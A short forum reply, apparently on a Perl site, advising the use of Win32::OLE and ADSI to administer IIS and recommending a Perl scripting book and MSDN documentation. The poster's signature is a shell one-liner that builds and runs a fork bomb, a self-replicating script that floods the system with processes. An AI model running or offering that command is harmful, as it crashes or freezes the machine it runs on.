Hi Shadow,
Win32::OLE is your best bet. You will need to use the Active Directory Services Interface (ADSI) to access the IIS ADSI provider, aka "IIS:".
This can be very challenging. I highly recommend you pickup a copy of
David Roth's excellent book,
Win32 Perl Scripting: The Administrator's Handbook. It has been an invaluable tool for me in my quest to conquer my Win32 network using Perl.
Also, you should read the
ADSI Overview, and the full ADSI doucmentation at the
MSDN Library. In the latter, pick Network and Directory services, then the Active Directory, ADSI and Directory Services option.
Good luck. I wonder if there is any interest in an IIS module which runs on top of Win32::OLE?
ibanix
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;